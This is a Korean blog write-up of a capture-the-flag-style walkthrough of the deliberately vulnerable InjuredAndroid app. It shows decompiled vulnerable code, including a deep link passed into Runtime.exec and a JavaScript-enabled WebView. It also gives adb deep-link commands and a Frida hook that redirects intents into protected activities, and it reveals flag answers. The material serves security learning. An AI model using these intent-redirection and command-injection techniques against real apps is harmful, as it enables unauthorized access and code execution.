Home [Mobile] InjuredAndroid Writeup-2
Post
Cancel

[Mobile] InjuredAndroid Writeup-2

지난 글에 이어서 적어보도록 하겠다.

DeepLink


AndroidManifest.xml 파일을 보면 scheme이 flag11인 것을 볼 수 있다.
manifest

아래와 같이 data.getScheme()flag11이 아니면 해당 엑티비티를 볼 수 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//DeepLinkActivity: 132

@Override // androidx.appcompat.app.c, androidx.fragment.app.d, androidx.activity.ComponentActivity, androidx.core.app.e, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_deep_link);
        j.j.a(this);
        Intent intent = getIntent();
        d.s.d.g.d(intent, "intentToUri");
        Uri data = intent.getData();
        if (d.s.d.g.a("flag11", data != null ? data.getScheme() : null)) {
            startActivity(new Intent("android.intent.action.VIEW"));
        }
        ((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
    }


am 명령어를 이용해 딥링크를 설정해준다.

1
am start -W -a android.intent.action.VIEW -d "flag11://"


그러면 플레그를 입력하는 화면이 나오고 힌트를 보면 Find the complied treasure 이라고 한다. resources/assets/ 에서 meʼnu 라는 바이너리를 찾을 수 있고 로컬에서 확인하기 위해 jadx 명령어로 디컴파일 해준다.(apk파일을 unzip 했을 때 해당 바이너리가 보이지 않았다)

1
jadx ./b3nac.injuredandroid.apk


여기서 문제점은 폰이나 컴퓨터나 arm 기반이라서 바이너리가 실행되지 않아 플레그를 볼 수 없었다. 심지어 플레그가 일정한 포멧이 아니기 때문에 절대로 strings 명령어로도 게싱조차 할 수 없다. 아무튼 환경에 맞춰서 바이너리를 실행하면 된다. 플레그는 HIIMASTRING 이다.

Protected components


ExportedProtectedIntent 클래스에서 아래와 같이 getParcelableExtra()를 통해서 intent 객체를 받아온다. 그리고 패키지 이름이 b3nac.injuredandroid 이면 엑티비티를 실행시킨다.(getParcelableExtra(String)은 현재 deprecated)

1
2
3
4
5
6
7
8
9
10
//ExportedProtectedIntent: 12

...

private void F(Intent intent) {
        Intent intent2 = (Intent) intent.getParcelableExtra("access_protected_component");
        if (intent2.resolveActivity(getPackageManager()).getPackageName().equals("b3nac.injuredandroid")) {
            startActivity(intent2);
        }
    }


FlagTwelveProtectedActivity 클래스에서는 getStringExtra()를 통해서 문자열 값을 받아온다. 23번째 줄의 조건문을 보면 값의 scheme이 https 이어야 플레그를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public final class FlagTwelveProtectedActivity extends androidx.appcompat.app.c {
    private final void F() {
        startActivity(new Intent(this, FlagOneSuccess.class));
    }

    @Override // androidx.appcompat.app.c, androidx.fragment.app.d, androidx.activity.ComponentActivity, androidx.core.app.e, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        WebView webView = new WebView(this);
        setContentView(webView);
        j.j.a(this);
        C((Toolbar) findViewById(R.id.toolbar));
        Uri parse = Uri.parse(getIntent().getStringExtra("totally_secure"));
        WebSettings settings = webView.getSettings();
        d.s.d.g.d(settings, "flagWebView.settings");
        settings.setJavaScriptEnabled(true);
        webView.setWebChromeClient(new WebChromeClient());
        if (getIntent() == null || !getIntent().hasExtra("totally_secure")) {
            finish();
            return;
        }
        d.s.d.g.d(parse, "uri");
        if (!d.s.d.g.a("https", parse.getScheme())) {
            webView.loadData(getIntent().getStringExtra("totally_secure"), "text/html", "UTF-8");
            return;
        }
        FlagsOverview.K = true;
        j jVar = new j();
        Context applicationContext = getApplicationContext();
        d.s.d.g.d(applicationContext, "applicationContext");
        jVar.b(applicationContext, "flagTwelveButtonColor", true);
        F();
    }
}


이건 몰라서 롸업을 봤는데 PoC 앱을 하나 만들어주는 방식으로 했다. 하지만 PoC 코드를 보니 startActivity를 후킹하여 내가 의도하는 intent를 전달해주면 가능할 것 같아서 아래와 같이 스크립트를 작성하고 frida로 해봤는데 정상적으로 플레그를 얻을 수 있었다.
참고로 setClassName()을 통해서 다른 Application의 엑티비티를 call 할 수 있다. 따라서 PoC 앱이 가능한 이유는 ExportedProtectedIntent에 해당하는 activity 컴포넌트가 exported='true'로 설정되어있기 때문이다.
만약 무슨말인지 모르겠다면 여기를 읽어보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
function hookStartActivity(){
    var Activity = Java.use("android.app.Activity")
    var intent = Java.use("android.content.Intent");
    Activity.startActivity.overload('android.content.Intent').implementation=function(a1){
        var instance = intent.$new();
        var instance2 = intent.$new();
        instance.setClassName('b3nac.injuredandroid','b3nac.injuredandroid.FlagTwelveProtectedActivity');
        instance.putExtra('totally_secure','https://asd.com');
        instance2.setClassName('b3nac.injuredandroid','b3nac.injuredandroid.ExportedProtectedIntent');
        instance2.putExtra('access_protected_component',instance);
        return this.startActivity(instance2);
    }
}


RCE


이번에도 딥링크를 이용한다.
deeplink

RCEActivity에서 onCreate 부분을 보면 총 3개의 파라미터를 사용하는 것을 볼 수 있다. queryParameter3이 null이면 binary, param 파라미터를 통해서 특정 위치에 있는 바이너리 파일에 인자를 주고 실행하는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//RCEActivity: 267

public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_rce);
        j.j.a(this);
        C((Toolbar) findViewById(R.id.toolbar));
        G();
        ((FloatingActionButton) findViewById(R.id.fab)).setOnClickListener(new a());
        if (getIntent() != null) {
            Intent intent = getIntent();
            d.s.d.g.d(intent, "intent");
            if (intent.getData() != null) {
                H();
                Intent intent2 = getIntent();
                d.s.d.g.d(intent2, "intent");
                Uri data = intent2.getData();
                try {
                    d.s.d.g.c(data);
                    String queryParameter = data.getQueryParameter("binary");
                    String queryParameter2 = data.getQueryParameter("param");
                    String queryParameter3 = data.getQueryParameter("combined");
                    if (queryParameter3 != null) {
                        this.x.b(new b(queryParameter3));
                    } else {
                        Runtime runtime = Runtime.getRuntime();
                        StringBuilder sb = new StringBuilder();
                        File filesDir = getFilesDir();
                        d.s.d.g.d(filesDir, "filesDir");
                        sb.append(filesDir.getParent());
                        sb.append("/files/");
                        sb.append(queryParameter);
                        sb.append(" ");
                        sb.append(queryParameter2);
                        Process exec = runtime.exec(sb.toString());
                        d.s.d.g.d(exec, "process");
                        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
                        StringBuilder sb2 = new StringBuilder();
                        d.r.c.a(bufferedReader, new c(sb2));
                        exec.waitFor();
                        TextView textView = (TextView) findViewById(R.id.RCEView);
                        d.s.d.g.d(textView, "tv");
                        textView.setText(sb2.toString());
                    }
                } catch (IOException e) {
                    Log.e("RCEActivity", "OH NO AN ERROR OCCURED!!!:" + e.getMessage());
                }
            }
        }
    }


filesDir을 정확하게 알기 위해서 d.s.d.g.d를 후킹해보니 /data/user/0/b3nac.injuredandroid/files 였다.
filesdir

해당 경로로 가보면 총 3개의 바이너리가 존재했다. menu는 이미 앞에서 사용했기 때문에 narnia를 눈여겨 보았다.
binaries

핸드폰에 맞는 narnia.arm64에 실행권한을 주고 실행했는데 파라미터가 필요하다고 나온다.
narnia

--help를 입력하면 쓸 수 있는 인자 값들이 나온다. (점점 게싱을 요구한다)
help

testOne, testTwo, testThree를 각각 인자 값으로 주면 Treasure, _, Planet이 나온다.
이 셋을 조합하면 Treasure_Planet이 된다. 이걸 combined 파라미터에 넣고 전송하면 끝난다. (루팅된 단말기이기 때문에 굳이 딥링크로 명령어를 날리면서 확인할 필요가 없었다. 에뮬도 마찬가지겠지만)

1
am start -W -a android.intent.action.VIEW -d "flag13://rce?combined=Treasure_Planet"


Assembly


AssemblyActivity 클래스에서 라이브러리단에서 stringFromJNI() 호출하는 것을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
//AssemblyActivity

...

static {
        System.loadLibrary("native-lib");
    }

...

public final native String stringFromJNI();


ida에서 해당 함수를 검색하여 보면 입력 값(플레그)을 바로 찾을 수 있다.
win

File Provider


AndroidManifest.xml 파일에서 FlagEighteenActivity에 해당하는 부분을 보면 처음보는 provider 태그가 보인다.
아래에서 알아보도록 하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
AndroidManifest.xml: 26

...

<activity
            android:name=".FlagEighteenActivity"
            android:exported="true"
            android:label="@string/title_activity_flag_eighteen"
            android:theme="@style/AppTheme.NoActionBar" />

        <provider
            android:name="androidx.core.content.FileProvider"
            android:authorities="b3nac.injuredandroid.fileprovider"
            android:exported="false"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/file_paths" />
        </provider>


File Provider란?


안전한 파일 공유를 해도록 도와주는 것이다. 이를 이용하면 file:// 대신에 content:// 형태의 scheme을 사용할 수 있는데 임시적으로 파일에 대한 권한을 부여하는 것이다.
위의 Manifest 파일에서 grantUriPermissions는 가장 중요한 부분으로 해당 경로의 파일을 읽고, 쓸 수 있도록 설정해주는 부분이다.
<meta-data /> 컴포넌트 에서는 file path에 대한 설정을 하게 되는데 아래와 같이 resource/res/xml/file_paths.xml에서 확인할 수 있다. <files-path />의 경우 디폴트는 /data/data/<package_name>/files이다.

1
2
3
4
<?xml version ="1.0" encoding ="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <files-path name="files" path="/" />
</paths>


결국은 아래와 같이 접근할 수 있는데 file scheme을 쓰는 것과 다르게 절대적인 경로를 포함하지 않기 때문에 file scheme을 써서 절대경로를 노출시키는 것 보다 안전할 수 있다.

1
content://b3nac.injuredandroid.fileprovider/files/test


그래서 이 문제 같은 경우는 엑티비티가 exported=”true”로 설정되어있기 때문에 poc 앱을 만들어서 접근을 할 수도 있고 또는 frida를 이용하여 풀 수 있다. 하지만 굳이 이렇게 안해도 루팅된 기기에서는 앱의 디렉토리에 접근이 가능하기 때문에 눈치 껏 풀 수도?

총평


이렇게 모든 문제를 풀어보았는데 14, 16, 17번은 빠져있다. 그 이유는 https://b3nac.com 이 사이트가 지금은 정상적으로 호스팅되지 않기 때문에 이와 관련된 문제는 풀 수 없었다.🙂 기본적으로 난독화가 조금 되어있기 때문에 시간은 걸릴지라도 안드로이드에 대해서 조금 더 알게된 느낌을 받고 싶다면 한 번 풀어보는 것을 추천한다.

Reference


[Mobile] InjuredAndroid Writeup-1

[Crypto] Padding Oracle Attack

Comments powered by Disqus.